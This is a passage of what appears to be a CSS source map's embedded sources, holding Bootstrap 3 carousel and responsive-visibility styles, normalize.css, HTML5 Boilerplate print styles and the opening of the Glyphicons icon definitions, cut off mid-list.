-webkit-transform 0.6s ease-in-out;\n -moz-transition: -moz-transform 0.6s ease-in-out;\n -o-transition: -o-transform 0.6s ease-in-out;\n transition: transform 0.6s ease-in-out;\n -webkit-backface-visibility: hidden;\n -moz-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000;\n -moz-perspective: 1000;\n perspective: 1000;\n }\n .carousel-inner > .item.next,\n .carousel-inner > .item.active.right {\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.prev,\n .carousel-inner > .item.active.left {\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n left: 0;\n }\n .carousel-inner > .item.next.left,\n .carousel-inner > .item.prev.right,\n .carousel-inner > .item.active {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n left: 0;\n }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n display: block;\n}\n.carousel-inner > .active {\n left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n position: absolute;\n top: 0;\n width: 100%;\n}\n.carousel-inner > .next {\n left: 100%;\n}\n.carousel-inner > .prev {\n left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n left: 0;\n}\n.carousel-inner > .active.left {\n left: -100%;\n}\n.carousel-inner > .active.right {\n left: 100%;\n}\n.carousel-control {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n width: 15%;\n opacity: 0.5;\n filter: alpha(opacity=50);\n font-size: 20px;\n color: #ffffff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-control.left {\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5) 0%, rgba(0, 0, 0, 0.0001) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n}\n.carousel-control.right {\n left: auto;\n right: 0;\n background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: -o-linear-gradient(left, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-image: linear-gradient(to right, rgba(0, 0, 0, 0.0001) 0%, rgba(0, 0, 0, 0.5) 100%);\n background-repeat: repeat-x;\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n}\n.carousel-control:hover,\n.carousel-control:focus {\n outline: 0;\n color: #ffffff;\n text-decoration: none;\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n position: absolute;\n top: 50%;\n z-index: 5;\n display: inline-block;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n left: 50%;\n margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n width: 20px;\n height: 20px;\n margin-top: -10px;\n line-height: 1;\n font-family: serif;\n}\n.carousel-control .icon-prev:before {\n content: '\\2039';\n}\n.carousel-control .icon-next:before {\n content: '\\203a';\n}\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n}\n.carousel-indicators li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid #ffffff;\n border-radius: 10px;\n cursor: pointer;\n background-color: #000 \\9;\n background-color: rgba(0, 0, 0, 0);\n}\n.carousel-indicators .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: #ffffff;\n}\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #ffffff;\n text-align: center;\n text-shadow: 0 1px 2px rgba(0, 0, 0, 0.6);\n}\n.carousel-caption .btn {\n text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-prev,\n .carousel-control .icon-next {\n width: 30px;\n height: 30px;\n margin-top: -15px;\n font-size: 30px;\n }\n .carousel-control .glyphicon-chevron-left,\n .carousel-control .icon-prev {\n margin-left: -15px;\n }\n .carousel-control .glyphicon-chevron-right,\n .carousel-control .icon-next {\n margin-right: -15px;\n }\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n .carousel-indicators {\n bottom: 20px;\n }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-footer:before,\n.modal-footer:after {\n content: \" \";\n display: table;\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-footer:after {\n clear: both;\n}\n.center-block {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n font: 0/0 a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n.hidden {\n display: none !important;\n}\n.affix {\n position: fixed;\n}\n@-ms-viewport {\n width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n@media (max-width: 767px) {\n .visible-xs {\n display: block !important;\n }\n table.visible-xs {\n display: table;\n }\n tr.visible-xs {\n display: table-row !important;\n }\n th.visible-xs,\n td.visible-xs {\n display: table-cell !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-block {\n display: block !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline {\n display: inline !important;\n }\n}\n@media (max-width: 767px) {\n .visible-xs-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm {\n display: block !important;\n }\n table.visible-sm {\n display: table;\n }\n tr.visible-sm {\n display: table-row !important;\n }\n th.visible-sm,\n td.visible-sm {\n display: table-cell !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-block {\n display: block !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline {\n display: inline !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .visible-sm-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md {\n display: block !important;\n }\n table.visible-md {\n display: table;\n }\n tr.visible-md {\n display: table-row !important;\n }\n th.visible-md,\n td.visible-md {\n display: table-cell !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-block {\n display: block !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline {\n display: inline !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .visible-md-inline-block {\n display: inline-block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg {\n display: block !important;\n }\n table.visible-lg {\n display: table;\n }\n tr.visible-lg {\n display: table-row !important;\n }\n th.visible-lg,\n td.visible-lg {\n display: table-cell !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-block {\n display: block !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline {\n display: inline !important;\n }\n}\n@media (min-width: 1200px) {\n .visible-lg-inline-block {\n display: inline-block !important;\n }\n}\n@media (max-width: 767px) {\n .hidden-xs {\n display: none !important;\n }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n .hidden-sm {\n display: none !important;\n }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n .hidden-md {\n display: none !important;\n }\n}\n@media (min-width: 1200px) {\n .hidden-lg {\n display: none !important;\n }\n}\n.visible-print {\n display: none !important;\n}\n@media print {\n .visible-print {\n display: block !important;\n }\n table.visible-print {\n display: table;\n }\n tr.visible-print {\n display: table-row !important;\n }\n th.visible-print,\n td.visible-print {\n display: table-cell !important;\n }\n}\n.visible-print-block {\n display: none !important;\n}\n@media print {\n .visible-print-block {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n}\n@media print {\n .visible-print-inline {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n}\n@media print {\n .visible-print-inline-block {\n display: inline-block !important;\n }\n}\n@media print {\n .hidden-print {\n display: none !important;\n }\n}\n/*# sourceMappingURL=bootstrap.css.map */","/*! normalize.css v3.0.2 | MIT License | git.io/normalize */\n\n//\n// 1. Set default font family to sans-serif.\n// 2. Prevent iOS text size adjust after orientation change, without disabling\n// user zoom.\n//\n\nhtml {\n font-family: sans-serif; // 1\n -ms-text-size-adjust: 100%; // 2\n -webkit-text-size-adjust: 100%; // 2\n}\n\n//\n// Remove default margin.\n//\n\nbody {\n margin: 0;\n}\n\n// HTML5 display definitions\n// ==========================================================================\n\n//\n// Correct `block` display not defined for any HTML5 element in IE 8/9.\n// Correct `block` display not defined for `details` or `summary` in IE 10/11\n// and Firefox.\n// Correct `block` display not defined for `main` in IE 11.\n//\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n display: block;\n}\n\n//\n// 1. Correct `inline-block` display not defined in IE 8/9.\n// 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n//\n\naudio,\ncanvas,\nprogress,\nvideo {\n display: inline-block; // 1\n vertical-align: baseline; // 2\n}\n\n//\n// Prevent modern browsers from displaying `audio` without controls.\n// Remove excess height in iOS 5 devices.\n//\n\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n\n//\n// Address `[hidden]` styling not present in IE 8/9/10.\n// Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.\n//\n\n[hidden],\ntemplate {\n display: none;\n}\n\n// Links\n// ==========================================================================\n\n//\n// Remove the gray background color from active links in IE 10.\n//\n\na {\n background-color: transparent;\n}\n\n//\n// Improve readability when focused and also mouse hovered in all browsers.\n//\n\na:active,\na:hover {\n outline: 0;\n}\n\n// Text-level semantics\n// ==========================================================================\n\n//\n// Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n//\n\nabbr[title] {\n border-bottom: 1px dotted;\n}\n\n//\n// Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n//\n\nb,\nstrong {\n font-weight: bold;\n}\n\n//\n// Address styling not present in Safari and Chrome.\n//\n\ndfn {\n font-style: italic;\n}\n\n//\n// Address variable `h1` font-size and margin within `section` and `article`\n// contexts in Firefox 4+, Safari, and Chrome.\n//\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n//\n// Address styling not present in IE 8/9.\n//\n\nmark {\n background: #ff0;\n color: #000;\n}\n\n//\n// Address inconsistent and variable font size in all browsers.\n//\n\nsmall {\n font-size: 80%;\n}\n\n//\n// Prevent `sub` and `sup` affecting `line-height` in all browsers.\n//\n\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsup {\n top: -0.5em;\n}\n\nsub {\n bottom: -0.25em;\n}\n\n// Embedded content\n// ==========================================================================\n\n//\n// Remove border when inside `a` element in IE 8/9/10.\n//\n\nimg {\n border: 0;\n}\n\n//\n// Correct overflow not hidden in IE 9/10/11.\n//\n\nsvg:not(:root) {\n overflow: hidden;\n}\n\n// Grouping content\n// ==========================================================================\n\n//\n// Address margin not present in IE 8/9 and Safari.\n//\n\nfigure {\n margin: 1em 40px;\n}\n\n//\n// Address differences between Firefox and other browsers.\n//\n\nhr {\n -moz-box-sizing: content-box;\n box-sizing: content-box;\n height: 0;\n}\n\n//\n// Contain overflow in all browsers.\n//\n\npre {\n overflow: auto;\n}\n\n//\n// Address odd `em`-unit font size rendering in all browsers.\n//\n\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\n\n// Forms\n// ==========================================================================\n\n//\n// Known limitation: by default, Chrome and Safari on OS X allow very limited\n// styling of `select`, unless a `border` property is set.\n//\n\n//\n// 1. Correct color not being inherited.\n// Known issue: affects color of disabled elements.\n// 2. Correct font properties not being inherited.\n// 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n//\n\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit; // 1\n font: inherit; // 2\n margin: 0; // 3\n}\n\n//\n// Address `overflow` set to `hidden` in IE 8/9/10/11.\n//\n\nbutton {\n overflow: visible;\n}\n\n//\n// Address inconsistent `text-transform` inheritance for `button` and `select`.\n// All other form control elements do not inherit `text-transform` values.\n// Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n// Correct `select` style inheritance in Firefox.\n//\n\nbutton,\nselect {\n text-transform: none;\n}\n\n//\n// 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n// and `video` controls.\n// 2. Correct inability to style clickable `input` types in iOS.\n// 3. Improve usability and consistency of cursor style between image-type\n// `input` and others.\n//\n\nbutton,\nhtml input[type=\"button\"], // 1\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button; // 2\n cursor: pointer; // 3\n}\n\n//\n// Re-set default cursor for disabled elements.\n//\n\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\n\n//\n// Remove inner padding and border in Firefox 4+.\n//\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\n\n//\n// Address Firefox 4+ setting `line-height` on `input` using `!important` in\n// the UA stylesheet.\n//\n\ninput {\n line-height: normal;\n}\n\n//\n// It's recommended that you don't attempt to style these elements.\n// Firefox's implementation doesn't respect box-sizing, padding, or width.\n//\n// 1. Address box sizing set to `content-box` in IE 8/9/10.\n// 2. Remove excess padding in IE 8/9/10.\n//\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box; // 1\n padding: 0; // 2\n}\n\n//\n// Fix the cursor style for Chrome's increment/decrement buttons. For certain\n// `font-size` values of the `input`, it causes the cursor style of the\n// decrement button to change from `default` to `text`.\n//\n\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\n\n//\n// 1. Address `appearance` set to `searchfield` in Safari and Chrome.\n// 2. Address `box-sizing` set to `border-box` in Safari and Chrome\n// (include `-moz` to future-proof).\n//\n\ninput[type=\"search\"] {\n -webkit-appearance: textfield; // 1\n -moz-box-sizing: content-box;\n -webkit-box-sizing: content-box; // 2\n box-sizing: content-box;\n}\n\n//\n// Remove inner padding and search cancel button in Safari and Chrome on OS X.\n// Safari (but not Chrome) clips the cancel button when the search input has\n// padding (and `textfield` appearance).\n//\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\n\n//\n// Define consistent border, margin, and padding.\n//\n\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\n\n//\n// 1. Correct `color` not being inherited in IE 8/9/10/11.\n// 2. Remove padding so people aren't caught out if they zero out fieldsets.\n//\n\nlegend {\n border: 0; // 1\n padding: 0; // 2\n}\n\n//\n// Remove default vertical scrollbar in IE 8/9/10/11.\n//\n\ntextarea {\n overflow: auto;\n}\n\n//\n// Don't inherit the `font-weight` (applied by a rule above).\n// NOTE: the default cannot safely be changed in Chrome and Safari on OS X.\n//\n\noptgroup {\n font-weight: bold;\n}\n\n// Tables\n// ==========================================================================\n\n//\n// Remove most spacing between table cells.\n//\n\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\n\ntd,\nth {\n padding: 0;\n}\n","/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request: h5bp.com/r\n// ==========================================================================\n\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important; // Black prints faster: h5bp.com/s\n box-shadow: none !important;\n text-shadow: none !important;\n }\n\n a,\n a:visited {\n text-decoration: underline;\n }\n\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n\n // Don't show links that are fragment identifiers,\n // or use the `javascript:` pseudo protocol\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n\n thead {\n display: table-header-group; // h5bp.com/t\n }\n\n tr,\n img {\n page-break-inside: avoid;\n }\n\n img {\n max-width: 100% !important;\n }\n\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n\n h2,\n h3 {\n page-break-after: avoid;\n }\n\n // Bootstrap specific changes start\n //\n // Chrome (OSX) fix for https://github.com/twbs/bootstrap/issues/11245\n // Once fixed, we can just straight up remove this.\n select {\n background: #fff !important;\n }\n\n // Bootstrap components\n .navbar {\n display: none;\n }\n .btn,\n .dropup > .btn {\n > .caret {\n border-top-color: #000 !important;\n }\n }\n .label {\n border: 1px solid #000;\n }\n\n .table {\n border-collapse: collapse !important;\n\n td,\n th {\n background-color: #fff !important;\n }\n }\n .table-bordered {\n th,\n td {\n border: 1px solid #ddd !important;\n }\n }\n\n // Bootstrap specific changes end\n}\n","//\n// Glyphicons for Bootstrap\n//\n// Since icons are fonts, they can be placed anywhere text is placed and are\n// thus automatically sized to match the surrounding child. To use, create an\n// inline element with the appropriate classes, like so:\n//\n// Star\n\n// Import the fonts\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('@{icon-font-path}@{icon-font-name}.eot');\n src: url('@{icon-font-path}@{icon-font-name}.eot?#iefix') format('embedded-opentype'),\n url('@{icon-font-path}@{icon-font-name}.woff2') format('woff2'),\n url('@{icon-font-path}@{icon-font-name}.woff') format('woff'),\n url('@{icon-font-path}@{icon-font-name}.ttf') format('truetype'),\n url('@{icon-font-path}@{icon-font-name}.svg#@{icon-font-svg-id}') format('svg');\n}\n\n// Catchall baseclass\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n\n// Individual icons\n.glyphicon-asterisk { &:before { content: \"\\2a\"; } }\n.glyphicon-plus { &:before { content: \"\\2b\"; } }\n.glyphicon-euro,\n.glyphicon-eur { &:before { content: \"\\20ac\"; } }\n.glyphicon-minus { &:before { content: \"\\2212\"; } }\n.glyphicon-cloud { &:before { content: \"\\2601\"; } }\n.glyphicon-envelope { &:before { content: \"\\2709\"; } }\n.glyphicon-pencil { &:before { content: \"\\270f\"; } }\n.glyphicon-glass { &:before { content: \"\\e001\"; } }\n.glyphicon-music { &:before { content: \"\\e002\"; } }\n.glyphicon-search { &:before { content: \"\\e003\"; } }\n.glyphicon-heart { &:before { content: \"\\e005\"; } }\n.glyphicon-star { &:before { content: \"\\e006\"; } }\n.glyphicon-star-empty { &:before { content: \"\\e007\"; } }\n.glyphicon-user { &:before { content: \"\\e008\"; } }\n.glyphicon-film { &:before { content: \"\\e009\"; } }\n.glyphicon-th-large { &:before { content: \"\\e010\"; } }\n.glyphicon-th { &:before { content: \"\\e011\"; } }\n.glyphicon-th-list { &:before { content: \"\\e012\"; } }\n.glyphicon-ok { &:before { content: \"\\e013\"; } }\n.glyphicon-remove { &:before { content: \"\\e014\"; } }\n.glyphicon-zoom-in { &:before { content: \"\\e015\"; } }\n.glyphicon-zoom-out { &:before { content: \"\\e016\"; } }\n.glyphicon-off { &:before { content: \"\\e017\"; } }\n.glyphicon-signal { &:before { content: \"\\e018\"; } }\n.glyphicon-cog { &:before { content: \"\\e019\"; } }\n.glyphicon-trash { &:before { content: \"\\e020\"; } }\n.glyphicon-home { &:before { content: \"\\e021\"; } }\n.glyphicon-file { &:before { content: \"\\e022\"; } }\n.glyphicon-time { &:before { content: \"\\e023\"; } }\n.glyphicon-road { &:before { content: \"\\e024\"; } }\n.glyphicon-download-alt { &:before { content: \"\\e025\"; } }\n.glyphicon-download { &:before { content: \"\\e026\"; } }\n.glyphicon-upload { &:before { content: \"\\e027\"; } }\n.glyphicon-inbox { &:before { content: \"\\e028\"; } }\n.glyphicon-play-circle { &:before { content: \"\\e029\"; } }\n.glyphicon-repeat { &:before { content: \"\\e030\"; } }\n.glyphicon-refresh { &:before { content: \"\\e031\"; } }\n.glyphicon-list-alt { &:before { content: \"\\e032\"; } }\n.glyphicon-lock { &:before { content: \"\\e033\"; } }\n.glyphicon-flag { &:before { content: \"\\e034\"; } }\n.glyphicon-headphones { &:before { content: \"\\e035\"; } }\n.glyphicon-volume-off { &:before { content: \"\\e036\"; } }\n.glyphicon-volume-down { &:before { content: \"\\e037\"; } }\n.glyphicon-volume-up { &:before { content: \"\\e038\"; } }\n.glyphicon-qrcode { &:before { content: \"\\e039\"; } }\n.glyphicon-barcode { &:before { content: \"\\e040\"; } }\n.glyphicon-tag { &:before { content: \"\\e041\"; } }\n.glyphicon-tags { &:before { content: \"\\e042\"; } }\n.glyphicon-book { &:before { content: \"\\e043\"; } }\n.glyphicon-bookmark { &:before { content: \"\\e044\"; } }\n.glyphicon-print { &:before { content: \"\\e045\"; } }\n.glyphicon-camera { &:before { content: \"\\e046\"; } }\n.glyphicon-font { &:before { content: \"\\e047\"; } }\n.glyphicon-bold { &:before { content: \"\\e048\"; } }\n.glyphicon-italic { &:before { content: \"\\e049\"; } }\n.glyphicon-text-height { &:before { content: \"\\e050\"; } }\n.glyphicon-text-width { &:before { content: \"\\e051\"; } }\n.glyphicon-align-left { &:before { content: \"\\e052\"; } }\n.glyphicon-align-center { &:before { content: \"\\e053\"; } }\n.glyphicon-align-right { &:before { content: \"\\e054\"; } }\n.glyphicon-align-justify { &:before { content: \"\\e055\"; } }\n.glyphicon-list { &:before { content: \"\\e056\"; } }\n.glyphicon-indent-left { &:before { content: \"\\e057\"; } }\n.glyphicon-indent-right { &:before { content: \"\\e058\"; } }\n.glyphicon-facetime-video { &:before { content: \"\\e059\"; } }\n.glyphicon-picture { &:before { content: \"\\e060\"; } }\n.glyphicon-map-marker { &:before { content: \"\\e062\"; } }\n.glyphicon-adjust { &:before { content: \"\\e063\"; } }\n.glyphicon-tint { &:before { content: \"\\e064\"; } }\n.glyphicon-edit { &:before { content: \"\\e065\"; } }\n.glyphicon-share { &:before { content: \"\\e066\"; } }\n.glyphicon-check { &:before { content: \"\\e067\"; } }\n.glyphicon-move { &:before { content: \"\\e068\"; } }\n.glyphicon-step-backward { &:before { content: \"\\e069\"; } }\n.glyphicon-fast-backward { &:before { content: \"\\e070\"; } }\n.glyphicon-backward { &:before { content: \"\\e071\"; } }\n.glyphicon-play { &:before { content: \"\\e072\"; } }\n.glyphicon-pause { &:before { content: \"\\e073\"; } }\n.glyphicon-stop { &:before { content: \"\\e074\"; } }\n.glyphicon-forward { &:before { content: \"\\e075\"; } }\n.glyphicon-fast-forward { &:before { content: \"\\e076\"; } }\n.glyphicon-step-forward { &:before { content: \"\\e077\"; } }\n.glyphicon-eject { &:before { content: \"\\e078\"; } }\n.glyphicon-chevron-left { &:before { content: \"\\e079\"; } }\n.glyphicon-chevron-right { &:before { content: \"\\e080\"; } }\n.glyphicon-plus-sign { &:before { content: \"\\e081\"; } }\n.glyphicon-minus-sign { &:before { content: \"\\e082\"; } }\n.glyphicon-remove-sign { &:before { content: \"\\e083\"; } }\n.glyphicon-ok-sign { &:before { content: \"\\e084\"; } }\n.glyphicon-question-sign { &:before { content: \"\\e085\"; } }\n.glyphicon-info-sign { &:before { content: \"\\e086\"; } }\n.glyphicon-screenshot { &:before { content: \"\\e087\"; } }\n.glyphicon-remove-circle { &:before { content: \"\\e088\"; } }\n.glyphicon-ok-circle { &:before { content: \"\\e089\"; } }\n.glyphicon-ban-circle { &:before { content: \"\\e090\"; } }\n.glyphicon-arrow-left { &:before { content: \"\\e091\"; } }\n.glyphicon-arrow-right { &:before { content: \"\\e092\"; } }\n.glyphicon-arrow-up { &:before { content: \"\\e093\"; } }\n.glyphicon-arrow-down { &:before { content: \"\\e094\"; } }\n.glyphicon-share-alt { &:before { content: \"\\e095\"; } }\n.glyphicon-resize-full { &:before { content: \"\\e096\"; } }\n.glyphicon-resize-small { &:before { content: \"\\e097\"; } }\n.glyphicon-exclamation-sign { &:before { content: \"\\e101\"; } }\n.glyphicon-gift { &:before { content: \"\\e102\"; } }\n.glyphicon-leaf { &:before { content: \"\\e103\"; } }\n.glyphicon-fire { &:before { content: \"\\e104\"; } }\n.glyphicon-eye-open { &:before { content: \"\\e105\"; } }\n.glyphicon-eye-close { &:before { content: \"\\e106\"; } }\n.glyphicon-warning-sign { &:before { content: \"\\e107\"; } }\n.glyphicon-plane { &:before { content: \"\\e108\"; } }\n.glyphicon-calendar { &:before { content: \"\\e109\"; } }\n.glyphicon-random { &:before { content: \"\\e110\"; } }\n.glyphicon-comment { &:before { content: \"\\e111\"; } }\n.glyphicon-magnet { &:before { content: \"\\e112\"; } }\n.glyphicon-chevron-up { &:before { content: \"\\e113\"; } }\n.glyphicon-chevron-down { &:before { content: \"\\e114\"; } }\n.glyphicon-retweet { &:before { content: \"\\e115\"; } }\n.glyphicon-shopping-cart { &:before { content: \"\\e116\"; } }\n.glyphicon-folder-close { &:before { content: \"\\e117\"; } }\n.glyphicon-folder-open { &:before { content: \"\\e118\"; } }\n.glyphicon-resize-vertical { &:before { content: \"\\e119\"; } }\n.glyphicon-resize-horizontal { &:before { content: \"\\e120\"; } }\n.glyphicon-hdd { &:before { content: \"\\e121\"; } }\n.glyphicon-bullhorn { &:before { content: \"\\e122\"; } }\n.glyphicon-bell { &:before { content: \"\\e123\"; } }\n.glyphicon-certificate { &:before { content: \"\\e124\"; } }\n.glyphicon-thumbs-up { &:before { content: \"\\e125\"; } }\n.glyphicon-thumbs-down { &:before { content: \"\\e126\"; } }\n.glyphicon-hand-right { &:before { content: \"\\e127\"; } }\n.glyphicon-hand-left { &:before { content: \"\\e128\"; } }\n.glyphicon-hand-up { &:before { content: \"\\e129\"; } }\n.glyphicon-hand-down { &:before { content: \"\\e130\"; } }\n.glyphicon-circle-arrow-right { &:before { content: \"\\e131\"; } }\n.glyphicon-circle-arrow-left { &:before { content: \"\\e132\"; } }\n.glyphicon-circle-arrow-up { &:before { content: \"\\e133\"; } }\n.glyphicon-circle-arrow-down { &:before { content: \"\\e134\"; } }\n.glyphicon-globe { &:before { content: \"\\e135\"; } }\n.glyphicon-wrench { &:before { content: \"\\e136\"; } }\n.glyphicon-tasks { &:before { content: \"\\e137\"; } }\n.glyphicon-filter { &:before { content: \"\\e138\"; } }\n.glyphicon-briefcase { &:before { content: \"\\e139\"; } }\n.glyphicon-fullscreen { &:before { content: \"\\e140\"; } }\n.glyphicon-dashboard { &:before { content: \"\\e141\"; } }\n.glyphicon-paperclip { &:before { content: \"\\e142\"; } }\n.glyphicon-heart-empty { &:before { content: \"\\e143\"; } }\n.glyphicon-link { &:before { content: \"\\e144\"; } }\n.glyphicon-phone { &:before { content: \"\\e145\"; } }\n.glyphicon-pushpin { &:before { content: \"\\e146\"; } }\n.glyphicon-usd { &:before { content: \"\\e148\"; } }\n.glyphicon-gbp { &:before { content: \"\\e149\"; } }\n.glyphicon-sort { &:before { content: \"\\e150\"; } }\n.glyphicon-sort-by-alphabet { &:before { content: \"\\e151\"; } }\n.glyphicon-sort-by-alphabet-alt { &:before { content: \"\\e152\"; } }\n.glyphicon-sort-by-order { &:before { content: \"\\e153\"; } }\n.glyphicon-sort-by-order-alt { &:before { content: \"\\e154\"; } }\n.glyphicon-sort-by-attributes { &:before { content: \"\\e155\"; } }\n.glyphicon-sort-by-attributes-alt { &:before { content: \"\\e156\"; } }\n.glyphicon-unchecked { &:before { content: \"\\e157\"; } }\n.glyphicon-expand { &:before { content: \"\\e158\"; } }\n.glyphicon-collapse-down { &:before { content: \"\\e159\"; } 